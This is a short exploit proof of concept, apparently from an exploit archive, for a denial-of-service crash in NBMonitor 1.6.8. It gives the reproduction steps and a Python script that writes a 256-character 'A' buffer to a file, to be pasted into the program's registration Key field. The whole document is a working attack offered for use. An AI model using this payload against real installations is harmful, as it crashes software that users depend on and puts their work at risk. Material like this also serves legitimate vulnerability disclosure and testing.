# Exploit Title: NBMonitor 1.6.8 - Denial of Service (PoC)# Date: 07/06/2021# Author: Erick Galindo # Vendor Homepage: http://www.nsauditor.com# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe# Version: 1.6.8# Tested on: Windows 10 Pro x64 es# Proof of Concept:#1.- Copy printed "AAAAA..." string to clipboard!#2.- Go to Register > Enter Registration Code...#3.- Write anything in 'Name' field#4.- Paste clipboard in 'Key' field#5.- Click on button -> Ok
buffer = "\x41"* 256
f = open ("NBM.txt","w")
f.write(buffer)
f.close()